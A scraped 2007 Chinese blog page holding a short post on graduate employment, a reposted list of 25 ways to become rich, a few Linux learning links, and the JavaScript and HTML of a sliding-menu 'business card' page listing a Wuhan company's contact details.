  其实,把这些都写完以后,我心里也知道,几乎没有公司能够完全按照法律条文上说的那样用工,尤其是对待像大学本科生这样的低级劳动力。既然大学本科生就是过剩劳动力(无论你多牛,从经验这个角度上,你都是过剩的,官方公布的9%的失业率就意味着你将近一成的师兄师姐还没工作呢),所以你必然要碰上一些情况,碰上以后比较合理的选择就是忍气吞声,知道要计较什么不要计较什么。
友好打印模式
转发给朋友
posted @ 2007-03-04 11:22 MEYE 阅读(347) | 评论 (0)编辑 收藏
成为有钱人的25种方法

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=14777

  “嫁个有钱人”不如自己成为有钱人,你知道如何成为有钱人吗?

  1、做你真正感兴趣的事——你会花很多时间在上面,因此你一定要感兴趣才行,如果不是这样的话,你不愿意把时间花在上面,就得不到成功。

  2、自己当老板。为别人打工,你绝不会变成巨富,老板一心一意地缩减开支,他的目标不是使他的职员变成有钱人。

  3、提供一种有实效的服务,或一种实际的产品。你要以写作、绘画或作曲变成百万富翁的机会可以说是无限小,而你要在营造业、房地产、制造业发大财的机会比较大。记住,出版商赚的钱比作家多得多。

  4、你坚持要用自己的灵感来创业?最好选择娱乐业,在这方面,发财的速度相当快,流行歌曲和电视最理想。

  5、不论你是演员或商人,尽量增加你的观众。在小咖啡馆唱歌的人,所赚的钱一定比不上替大唱片公司灌唱片的人,地方性的商人,不会比全国性的商人赚的钱多。
 
  6、找出一种需要,然后满足它。社会越变越复杂,人们所需要的产品和服务越来越多,最先发现这些需求而且满足他们的人,是改进现有产品和服务的人,也是最先成为富翁的人。

  7、不要不敢采用不同的方式——新的方法和新产品,会造成新的财富。但必须确定你的新方法比旧方法更理想,你的新方法必须增进产品外观、效率、品质、方便或者降低成本。

  8、如果你受过专业教育,或者有特殊才能,充分利用它。如果你烧得一手好菜,而却要去当泥水匠,那就太笨了。

  9、在你着手任何事情之前,仔细地对周围的情形研究一番。政府机关和公共图书馆,可以提供不少资料,先做研究,可以节省你不少时间和金钱。

  10、不要一直都想着发大财,不如你想想如何改进你的事业,您应该常常问自己的是:“我如何改良我的事业?”如何使事业进行顺利,财富就会跟着而来。

  11、可能的话,进行一种家庭事业,这种方法可以减少费用,增进士气,利润的分配很简单,利润能够得到充分的利用,整个事业控制也较容易。

  12、尽可能减少你的费用,但不能牺牲你的品质,否则的话,你等于是在慢性自杀,赚钱的机会不会大。

  13、跟同行的朋友维持友谊——他们可能对你很有帮助。

  14、把尽量多的时间花在事业上。一天12小时、一星期6天是最低要求,一天14小时到18小时很平常,一星期工作7天最好了。你必须先牺牲家庭和社会上的娱乐,直到你事业站稳为止。也只有到那时候,你才能把责任分给别人。

  15、不要不敢自己下决心。听听别人的赞美和批评,但你自己要下决心。

  16、不要不敢说实话。拐弯抹角,只会浪费时间,心里想什么就说什么,而且要尽可能地直截了当地、明确地说出来。

  17、不要不敢承认自己的错误。犯了错误并不是一种罪行,犯错不改才是罪过。

  18、不要因为失败就裹足不前。失败是难免的,也是有价值的,从失败中,你会学到正确的方法论。

  19、不要在不可行的观念上打转。一发现某种方法行不通,立即把它放弃。世界上有无数的方法,把时间浪费在那些不可行的方法上是无可弥补的损失。

  20、不要冒你承担不起的风险。如果你损失10万元,若损失得起的话,就可以继续下去,但如果你赔不起5万元,而一旦失败的话,你就完蛋了。

  21、一再投资,不要让你的利润空闲着,你的利润要继续投资下去,最好投资别的事业或你控制的事业上,那样,才能钱滚钱,替你增加好几倍的财富。

  22、请一位高明的律师——他会替你节约更多的金钱和时间,比起你所给予的将要多的多。

  23、请一位精明的会计师。最初的时候,你自己记账,但除非你本身是个会计师,你还是请一位精明的会计师,可能决定你的成功和失败——他是值得你花钱的。

  24、请专家替你报税。一位机灵的税务专家,可又替你免很多的税。

  25、好好维持你的健康和你的平静心灵——否则的话,拥有再多的钱也没有什么意思。
posted @ 2007-03-04 11:19 MEYE 阅读(357) | 评论 (0)编辑 收藏

Linux 学习:

http://www.openfans.net/main.html


http://www.uplooking.com/


http://blog.csdn.net/yuanmeng001/archive/2007/01/24/1491939.aspx



开源盛世 http://blog.chinaunix.net/u/4536/


http://blog.chinaunix.net/u/12857/









一段JAVAScript代码:



<style type="text/css">
<!--
body,td,th {
 font-size: 12px;
}
a:link {
 color: #0000FF;
}
a:visited {
 color: #0000FF;
}
a:hover {
 color: #CC0000;
}
a:active {
 color: #0000FF;
}
-->
</style>
<title>mozhongxia 的名片</title>
<body style="overflow:scroll;overflow-x:hidden;">
<DIV id=overDiv style="POSITION: absolute; Z-INDEX: 1"></DIV>
<script src="overlib.js"></script>
<script>
<!--
document.write("<style>#vwork_master{LEFT:0px; POSITION:absolute;}#vwork_menu{LEFT:130px;POSITION:absolute; TOP:30px; Z-INDEX:5}#vwork_screen{POSITION:absolute; TOP:10px; Z-INDEX:5}#vwork_screenlinks{POSITION:absolute; TOP:-5px; VISIBILITY:visible; Z-INDEX:5}</style>")
document.write('<style>#vwork_screen{filter:Alpha(Opacity=60)</style>')

var vwork_master = new Object("element")
vwork_master.curLeft = 0;
vwork_master.curTop = 10;

function moveAlong(layerName, paceLeft, paceTop, fromLeft, fromTop){
clearTimeout(eval(layerName).timer)
if(eval(layerName).curLeft != fromLeft){
     if((Math.max(eval(layerName).curLeft, fromLeft) - Math.min(eval(layerName).curLeft, fromLeft)) < paceLeft){eval(layerName).curLeft = fromLeft}
else if(eval(layerName).curLeft < fromLeft){eval(layerName).curLeft = eval(layerName).curLeft + paceLeft}
else if(eval(layerName).curLeft > fromLeft){eval(layerName).curLeft = eval(layerName).curLeft - paceLeft}
document.all[layerName].style.left = eval(layerName).curLeft
}
if(eval(layerName).curTop != fromTop){
     if((Math.max(eval(layerName).curTop, fromTop) - Math.min(eval(layerName).curTop, fromTop)) < paceTop){eval(layerName).curTop = fromTop}
else if(eval(layerName).curTop < fromTop){eval(layerName).curTop = eval(layerName).curTop + paceTop}
else if(eval(layerName).curTop > fromTop){eval(layerName).curTop = eval(layerName).curTop - paceTop}
document.all[layerName].style.top = eval(layerName).curTop
}
eval(layerName).timer=setTimeout('moveAlong("'+layerName+'",'+paceLeft+','+paceTop+','+fromLeft+','+fromTop+')',30)
}

function setPace(layerName, fromLeft, fromTop, motionSpeed){
eval(layerName).gapLeft = (Math.max(eval(layerName).curLeft, fromLeft) - Math.min(eval(layerName).curLeft, fromLeft))/motionSpeed
eval(layerName).gapTop = (Math.max(eval(layerName).curTop, fromTop) - Math.min(eval(layerName).curTop, fromTop))/motionSpeed
moveAlong(layerName, eval(layerName).gapLeft, eval(layerName).gapTop, fromLeft, fromTop)
}

var expandState = 0
var clickNum = 0
function expand(){
 if (clickNum==0){
  clickNum=1
  if(expandState == 0){setPace("vwork_master", -131, 10, 10);
   document.menutop.src="../images/an.gif"; expandState = 1;}//end if
  else{
   setPace("vwork_master", 0, 10, 10);
   document.menutop.src="../images/an.gif"; expandState = 0;}//end if
  setTimeout("expandend()", 100);
 }
}//end function

function expandend(){
 clickNum=0;
}
document.write ('<div id="vwork_master">');
document.write ('  <div id="vwork_menu" onmouseover="expand()" style="cursor:hand;">');
document.write ('    <table border="0" cellpadding="0" cellspacing="0" width="35">');
document.write ('      <tbody>');
document.write ('        <tr>');
document.write ('          <td width="100%"><img src="../images/an.gif" alt="点击此处隐藏或展开客服中心" name="menutop" id="menutop" /></td>');
document.write ('        </tr>');
document.write ('      </tbody>');
document.write ('    </table>');
document.write ('  </div>');
document.write ('  <div id="vwork_screenlinks" >');
document.write ('    <table width="132" border="0" cellpadding="0" cellspacing="0">');
document.write ('      <tr>');
document.write ('        <td width="15" background="images/bg_1.gif">&nbsp;</td>');
document.write ('        <td width="112" align="center" valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">');
document.write ('          <tr>');
document.write ('            <td>&nbsp;</td>');
document.write ('          </tr>');
document.write ('        </table>');

document.write ('<table width="100%" border="0" cellspacing="0" cellpadding="0">');

document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width=70 border=0><TBODY><TR><TD vAlign=top align=middle background=images/biao7.gif><TABLE cellSpacing=0 cellPadding=0 width="90%" border=0><TBODY><TR><TD height=50>&nbsp;</TD></TR><TR><TD align=middle height=15><P align=left><SPAN class=STYLE1>&nbsp;<A href="http://www.whwise.com/zhima/N_user/BigUserReg.asp?mid=4527"><FONT color=#777777>注册名片</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width=70 border=0><TBODY><TR><TD vAlign=top align=middle background=images/biao2.gif><TABLE cellSpacing=0 cellPadding=0 width="90%" border=0><TBODY><TR><TD height=50>&nbsp;</TD></TR><TR><TD align=middle height=15><P align=left><SPAN class=STYLE1>&nbsp;<A href="/zhima/N_Adv/index.asp?mid=4527" target=_blank><FONT color=#777777>我的广告</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width=70 border=0><TBODY><TR><TD vAlign=top align=middle background=images/biao3.gif><TABLE cellSpacing=0 cellPadding=0 width="90%" border=0><TBODY><TR><TD height=50>&nbsp;</TD></TR><TR><TD align=middle height=15><P align=left><SPAN class=STYLE1>&nbsp;<A href="/zhima/N_Shop/index.asp?mid=4527" target=_blank><FONT color=#777777>我的商城</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width=70 border=0><TBODY><TR><TD vAlign=top align=middle background=images/biao4.gif><TABLE cellSpacing=0 cellPadding=0 width="90%" border=0><TBODY><TR><TD height=50>&nbsp;</TD></TR><TR><TD align=middle height=15><P align=left><SPAN class=STYLE1>&nbsp;<A href="/zhima/N_Blog/index.asp?mid=4527"><FONT color=#777777>我的博客</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width=70 border=0><TBODY><TR><TD vAlign=top align=middle background=images/biao5.gif><TABLE cellSpacing=0 cellPadding=0 width="90%" border=0><TBODY><TR><TD height=50>&nbsp;</TD></TR><TR><TD align=middle height=15><P align=left><SPAN class=STYLE1>&nbsp;<A href="/zhima/N_User/MyCollection.asp?user=mozhongxia"><FONT color=#777777>我的收藏</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width=70 border=0><TBODY><TR><TD vAlign=top align=middle background=images/biao1.gif><TABLE cellSpacing=0 cellPadding=0 width="90%" border=0><TBODY><TR><TD height=50>&nbsp;</TD></TR><TR><TD align=middle height=15><P align=left><SPAN class=STYLE1>&nbsp;<A href="/zhima/companyinfo.asp?user=mozhongxia" target=_blank><FONT color=#777777>我的简介</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width=70 border=0><TBODY><TR><TD vAlign=top align=middle background=images/biao6.gif><TABLE cellSpacing=0 cellPadding=0 width="90%" border=0><TBODY><TR><TD height=50>&nbsp;</TD></TR><TR><TD align=middle height=15><P align=left><SPAN class=STYLE1>&nbsp;<A href="/zhima/msg.asp?user=mozhongxia"><FONT color=#777777>给我留言</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width=70 border=0><TBODY><TR><TD vAlign=top align=middle background=images/biao8.gif><TABLE cellSpacing=0 cellPadding=0 width="90%" border=0><TBODY><TR><TD height=50>&nbsp;</TD></TR><TR><TD align=middle height=15><P align=left><SPAN class=STYLE1>&nbsp;<A href="http://www.whwise.com/zhima/N_user/login.asp?mid=4527"><FONT color=#777777>管理名片</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width=70 border=0><TBODY><TR><TD vAlign=top align=middle background=images/biao9.gif><TABLE cellSpacing=0 cellPadding=0 width="90%" border=0><TBODY><TR><TD height=50>&nbsp;</TD></TR><TR><TD align=middle height=15><P align=left><SPAN class=STYLE1>&nbsp;<A href="../goUnion.asp?user=mozhongxia"><FONT color=#777777>名片排行</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <br>人气:<font color="#FF0000">19</font>');
document.write ('    </td>');
document.write ('  </tr>');

document.write ('  <tr>');
document.write ('    <td align="center"  onMouseOver="drs(\'如果您是本站付费用户可以获得从您名片注册付费会员服务费15%的推广奖励,并可以获得该注册用户在本站会员商城消费奖励的10%提成奖励;若您是免费用户,可以即刻升级为正式会员,以获取奖励的资格。\'); return true;" onMouseOut="nd(); return true;">');
document.write ('  <br>&nbsp;已经有 <font color=#ff0000>0</font> 位用户从您的名片注册');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('</table>');


document.write ('            </td>');
document.write ('        <td valign="Top" background="images/tiao.gif" width="4" height="800" id="menu_left"></td>');
document.write ('      </tr>');
document.write ('    </table>');
document.write ('  </div>');
document.write ('</div>');
var sidemenu = document.all.vwork_master;

sidemenu.style.top = document.body.scrollTop+2

function yuzi(){
}
setInterval("yuzi()",100);

expand();
-->
</script>


<script>
<!--
vwork_master_r_width=document.body.clientWidth-138
document.write("<style>#vwork_master_r{LEFT:" + vwork_master_r_width + "px;POSITION:absolute;}#vwork_menu_r{LEFT:-20px;POSITION:absolute; TOP:30px; Z-INDEX:5}#vwork_screen_r{POSITION:absolute; TOP:10px; Z-INDEX:5}#vwork_screenlinks_r{POSITION:absolute; TOP:-5px; VISIBILITY:visible; Z-INDEX:5}</style>")
document.write('<style>#vwork_screen_r{filter:Alpha(Opacity=60)</style>')
var vwork_master_r = new Object("element")
vwork_master_r.curLeft = vwork_master_r_width;
vwork_master_r.curTop = 10;

function moveAlong_r(layerName, paceLeft, paceTop, fromLeft, fromTop){
clearTimeout(eval(layerName).timer)
if(eval(layerName).curLeft != fromLeft){
     if((Math.max(eval(layerName).curLeft, fromLeft) - Math.min(eval(layerName).curLeft, fromLeft)) < paceLeft){eval(layerName).curLeft = fromLeft}
else if(eval(layerName).curLeft < fromLeft){eval(layerName).curLeft = eval(layerName).curLeft + paceLeft}
else if(eval(layerName).curLeft > fromLeft){eval(layerName).curLeft = eval(layerName).curLeft - paceLeft}
document.all[layerName].style.left = eval(layerName).curLeft
}
if(eval(layerName).curTop != fromTop){
     if((Math.max(eval(layerName).curTop, fromTop) - Math.min(eval(layerName).curTop, fromTop)) < paceTop){eval(layerName).curTop = fromTop}
else if(eval(layerName).curTop < fromTop){eval(layerName).curTop = eval(layerName).curTop + paceTop}
else if(eval(layerName).curTop > fromTop){eval(layerName).curTop = eval(layerName).curTop - paceTop}
document.all[layerName].style.top = eval(layerName).curTop
}
eval(layerName).timer=setTimeout('moveAlong_r("'+layerName+'",'+paceLeft+','+paceTop+','+fromLeft+','+fromTop+')',30)
}

function setPace(layerName, fromLeft, fromTop, motionSpeed){
eval(layerName).gapLeft = (Math.max(eval(layerName).curLeft, fromLeft) - Math.min(eval(layerName).curLeft, fromLeft))/motionSpeed
eval(layerName).gapTop = (Math.max(eval(layerName).curTop, fromTop) - Math.min(eval(layerName).curTop, fromTop))/motionSpeed
moveAlong_r(layerName, eval(layerName).gapLeft, eval(layerName).gapTop, fromLeft, fromTop)
}

var expandState_r = 0
var clickNum_r = 0
function expand_r(){
 if (clickNum_r==0){
  clickNum_r=1
  if(expandState_r == 0){setPace("vwork_master_r", document.body.clientWidth , 10, 10);
   document.menutop_r.src="../images/an2.gif"; expandState_r = 1;}//end if
  else{
   setPace("vwork_master_r", vwork_master_r_width , 10, 10);
   document.menutop_r.src="../images/an2.gif"; expandState_r = 0;}//end if
  setTimeout("expandend_r()", 100);
 }
}//end function

function expandend_r(){
 clickNum_r=0;
}

document.write ('<div id=vwork_master_r>');
document.write ('  <div id=vwork_menu_r onmouseover=expand_r() style=cursor:hand;>');
document.write ('    <table border=0 cellpadding=0 cellspacing=0 width=35>');
document.write ('      <tbody>');
document.write ('        <tr>');
document.write ('          <td width=100%><img name=menutop_r src=../images/an2.gif alt="点击此处隐藏或展开客服中心"></td>');
document.write ('        </tr>');
document.write ('      </tbody>');
document.write ('    </table>');
document.write ('  </div>');
document.write ('  <div id=vwork_screenlinks_r >');
document.write ('    <table width="142" border="0" cellpadding="0" cellspacing="0">');
document.write ('      <tr>');
document.write ('        <td width="4" background="images/tiao.gif"></td>');
document.write ('        <td width="112" align="center" valign="top"><table width="100%" height="18" border="0" cellpadding="0" cellspacing="0">');
document.write ('          <tr>');
document.write ('            <td>&nbsp;</td>');
document.write ('          </tr>');
document.write ('        </table>');

document.write ('<table width="100%" border="0" cellspacing="0" cellpadding="0">');

document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE cellSpacing=0 cellPadding=0 width=96 border=0><TBODY><TR><TD height=33><A href="http://www.vwork.cn/include/Call_center1.asp?callid=91016001"><IMG style="BORDER-LEFT-COLOR: #ffffff; FILTER: ; BORDER-BOTTOM-COLOR: #ffffff; WIDTH: 97px; BORDER-TOP-COLOR: #ffffff; HEIGHT: 34px; BORDER-RIGHT-COLOR: #ffffff" height=34 alt="" hspace=0 src="/zhima/editor/UploadFile/200652116374591.gif" width=97 border=0></A></TD></TR><TR><TD align=middle height=43><P align=left><SPAN class=STYLE1>&nbsp; <U><A href="http://voip.whwise.com"><FONT color=#777777>视频会议室</FONT></A></U></SPAN></P></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE cellSpacing=0 cellPadding=0 width=96 border=0><TBODY><TR><TD height=33><A href="http://www.vwork.cn/chat/msg.htm?hotid=91016001"><IMG style="FILTER: ; WIDTH: 99px; HEIGHT: 41px" height=41 alt="" hspace=0 src="/zhima/editor/UploadFile/2006521163845242.gif" width=99 border=0></A><A href="http://www.vwork.cn/index.asp"></A></TD></TR><TR><TD class=STYLE1 align=middle height=43><P align=left>&nbsp;&nbsp;&nbsp;<U><A href="http://www.vwork.cn/chat/chat.htm?hotid=91016001&amp;mode=video"><FONT color=#777777>网页电话</FONT></A></U></P></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE cellSpacing=0 cellPadding=0 width=96 border=0><TBODY><TR><TD height=33>&nbsp;&nbsp;&nbsp;<A href="http://wpa.qq.com/msgrd?V=1&amp;Uin=61337315"><IMG style="FILTER: ; WIDTH: 65px; HEIGHT: 66px" height=66 alt="" hspace=0 src="/zhima/editor/UploadFile/2006521163937112.bmp" width=65 border=0></A></TD></TR><TR><TD class=STYLE1 align=middle height=43><P align=left>&nbsp;&nbsp;&nbsp; <U><A href="http://freeqq2.qq.com/1.shtml"><FONT color=#777777>在线QQ</FONT></A></U></P></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width="100%" border=0><TBODY><TR><TD align=middle><TABLE cellSpacing=0 cellPadding=0 width=96 border=0><TBODY><TR><TD height=33><P align=left><A href="callto://wkn13307187196"><IMG title="Go to Skype.com homepage" style="BORDER-LEFT-COLOR: #ffffff; FILTER: ; BORDER-BOTTOM-COLOR: #ffffff; WIDTH: 89px; BORDER-TOP-COLOR: #ffffff; HEIGHT: 38px; BORDER-RIGHT-COLOR: #ffffff" height=40 alt=Skype hspace=0 src="http://www.skype.com/i/logos/skype_logo.png" width=96 border=0></A></P></TD></TR><TR><TD class=STYLE1 align=middle height=43><P align=left>&nbsp;&nbsp; <U><A href="http://skypetools.tom.com/voucher/register.php"><FONT color=#777777>Skype通讯</FONT></A></U></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE style="WIDTH: 36px; HEIGHT: 25px" cellSpacing=0 cellPadding=0 width=36 border=0><TBODY><TR><TD><P align=left><FONT color=#ff0000 size=1><A href="http://scs1.sh1.china.alibaba.com/msg.atc?v=1&amp;uid=whwise" target=_blank><IMG alt=点击这里可以给对方发送消息 src="http://scs1.sh1.china.alibaba.com/online.atc?v=1&amp;uid=whwise&amp;s=101" border=0></A> <DIV style="DISPLAY: none"><A href="http://www.alibaba.com/">Alibaba</A></DIV></FONT></TD></TR></TBODY></TABLE><P><U><STRONG><A href="http://china.alibaba.com/member/join.htm?tracelog=MyAlibaba_TradeToolbar"><FONT color=#777777>阿里巴巴贸易通</FONT></A></STRONG></U></P></TD>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <TABLE height=74 cellSpacing=0 cellPadding=0 width="100%" border=0><TBODY><TR><TD align=middle><TABLE cellSpacing=0 cellPadding=0 width=96 border=0><TBODY><TR><TD height=33><A target=_top><IMG title=MSN style="FILTER: ; WIDTH: 115px; HEIGHT: 35px" height=35 alt=MSN hspace=0 src="/zhima/editor/UploadFile/200652116410143.gif" width=115 border=0 ?></A></TD></TR><TR><TD class=STYLE1 align=middle height=43><P align=left>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT face=宋体 color=#777777 size=3><U><A href="http://get.live.com/messenger/overview"><STRONG>MSN</STRONG></A></U></FONT></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <P>&nbsp;<A href="wangwang:SendIM?godhamhamchang&amp;uid_t=whwkn"><IMG style="BORDER-LEFT-COLOR: #ffffff; FILTER: ; BORDER-BOTTOM-COLOR: #ffffff; WIDTH: 103px; BORDER-TOP-COLOR: #ffffff; HEIGHT: 51px; BORDER-RIGHT-COLOR: #ffffff" height=51 alt="" hspace=0 src="/zhima/editor/UploadFile/2006521164319194.gif" width=103 border=0></A></P><P>&nbsp;&nbsp; <U><A href="http://www.taobao.com/help/wangwang/wangwang.php"><FONT color=#777777><STRONG>淘宝旺旺</STRONG></FONT></A></U></P>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  <P>&nbsp; <A onclick="return rd_clk(""logo/messenger/"",""http://cn.messenger.yahoo.com/"");" href="http://" target=_self><IMG style="FILTER: ; WIDTH: 44px; HEIGHT: 46px" height=46 alt="" hspace=0 src="/zhima/editor/UploadFile/2006521164446434.gif" width=44 border=0></A></P><P>&nbsp;&nbsp;&nbsp; <A href="http://cn.messenger.yahoo.com/"><FONT color=#777777><STRONG>雅虎通</STRONG></FONT></A></P>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('  <tr>');
document.write ('    <td align="center">&nbsp;');
document.write ('  &nbsp; <A href="http://register.sdo.com/register.asp?from=19" target=_blank><IMG style="FILTER: ; WIDTH: 87px; HEIGHT: 105px" height=105 alt="" hspace=0 src="/zhima/editor/UploadFile/2006521164526123.gif" width=87 border=0></A>');
document.write ('    </td>');
document.write ('  </tr>');


document.write ('</table>');


document.write ('        </td>');
document.write ('        <td width="15" background="images/bg_1.gif" height="800" id="menu_right">&nbsp;</td>');
document.write ('      </tr>');
document.write ('    </table>');
document.write ('  </div>');
document.write ('</div>');

var sidemenu = document.all.vwork_master_r;

sidemenu.style.top = document.body.scrollTop+2

menu_left.height=document.body.scrollHeight+100;
menu_right.height=document.body.scrollHeight;

function yuzi(){
}
setInterval("yuzi()",100);
expand_r();
-->

</script>


<div style="LEFT:200px; POSITION:absolute; TOP:30px; width: 708px;">

<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
   
    <td><P align=left><A title=公司资源 href="http://www.whwise.com/zhima/N_Blog/FeedBack.asp?mid=3554&amp;id=882" target=_blank><FONT color=#444444>公司资源</FONT></A><FONT color=#444444>&nbsp;&nbsp;<A title=教育培训 href="http://www.whwise.com/zhima/N_Blog/ArticleList.asp?mid=3554&amp;classid=217" target=_blank><FONT color=#444444>教育培训</FONT></A></FONT><FONT color=#444444>&nbsp;&nbsp;</FONT><A title=项目推荐 href="http://www.whwise.com/zhima/N_Blog/ArticleList.asp?mid=3554&amp;classid=218" target=_blank><FONT color=#444444>项目推荐</FONT></A><FONT color=#444444>&nbsp;&nbsp;</FONT><A title=名扬天下产品介绍 href="http://www.whwise.com/zhima/N_Blog/ArticleList.asp?mid=3554&amp;classid=212" target=_blank><FONT color=#444444>产品介绍</FONT></A><FONT color=#444444>&nbsp;&nbsp;</FONT><A title=名扬天下如何赢利 href="http://www.whwise.com/zhima/N_Blog/ArticleList.asp?mid=3554&amp;classid=211" target=_blank><FONT color=#444444>如何赢利</FONT></A><FONT color=#444444>&nbsp;&nbsp;</FONT><A title=名扬天下推广技巧 href="http://www.whwise.com/zhima/N_Blog/ArticleList.asp?mid=3554&amp;classid=210" target=_blank><FONT color=#444444>推广技巧</FONT></A><FONT color=#444444>&nbsp;&nbsp;</FONT><A title=名扬天下操作手册 href="http://www.whwise.com/zhima/N_Blog/ArticleList.asp?mid=3554&amp;classid=209" target=_blank><FONT color=#444444>操作手册</FONT></A><FONT color=#444444>&nbsp;&nbsp;</FONT><A title=名扬天下代理合作 href="http://www.whwise.com/zhima/N_Blog/FeedBack.asp?mid=3554&amp;id=738" target=_blank><FONT color=#444444>代理合作</FONT></A><FONT color=#444444>&nbsp;&nbsp;<A title=增值服务 href="http://wwww.whwise.com/PHB/Article.asp?id=160&amp;MOB=7" target=_blank><FONT color=#444444>兼职专栏</FONT></A></FONT>&nbsp; <A href="http://emailpage.activepower.net/script/user/send.asp?emailpage_id=26398"><FONT color=#444444>推荐给朋友</FONT></A><FONT color=#444444><BR>&nbsp;&nbsp; <A href="http://www.whwise.net"><IMG src="/zhima/editor/UploadFile/200694221925720.gif" border=0></A></FONT></P></td>
 
  </tr>
</table>


</div>
<table width="100" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td height="50">&nbsp;</td>
  </tr>
</table>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>商务白领</title>
<style type="text/css">
<!--
.STYLE1 {
 color: #4269BD;
 font-weight: bold;
}
.STYLE3 {
 color: #980105;
 font-size: 16px;
 font-weight: bold;
}
body,td,th {
 font-size: 12px;
}
.STYLE4 {color: #9C0000}
body {
 margin-top: 50px;
}
-->
</style>
</head>

<body>
<table width="550" height="482" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td valign="top" background="../images/Card/104.gif"><table width="100%" height="180" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td>&nbsp;</td>
      </tr>
    </table>
      <table width="100%" height="295" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td valign="top"><table width="100%" height="294" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td width="52%" valign="top"><table width="90%" border="0" align="right" cellpadding="0" cellspacing="0">
                <tr>
                  <td height="80">&nbsp;</td>
                </tr>
                <tr>
                  <td align="left" style="line-height:18px;"><span class="STYLE3">姓名</span> 火狐狸&nbsp; 业务员<br />
                  武汉万思网络有限公司
                  <br />
                    武汉市江汉区宝丰二路天骄国际1905室<br /></td>
                </tr>
                <tr>
                  <td height="100" align="center" style="line-height:18px;"><a href="" target="_blank"><img src="../images/Mphoto.gif" width="108" height="128" alt="我的照片" border=0 /></a></td>
                </tr>
              </table></td>
              <td width="48%" valign="top" style="line-height:18px;"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td>邮  编: 430061 <br />
                    电  话: 027-63218035<br />
传  真: 027-82668112-809 <br />
手  机: 13871069405<br />
网  址: <a href='http://' target="_blank"><font color="#FF0000"></font></a><br />
&nbsp;&nbsp;E-mail: <span class="STYLE4">wang_dongliang@sohu.com</span><br />
&nbsp;&nbsp;&nbsp;&nbsp;Q Q :

<a href="" target="_blank"> <font color="#FF0000">61337315</font></a><br />
&nbsp;&nbsp;&nbsp;&nbsp;MSN : <span class="STYLE4"></span><br />
贸 易 通:<span class="STYLE4"> </span><br />
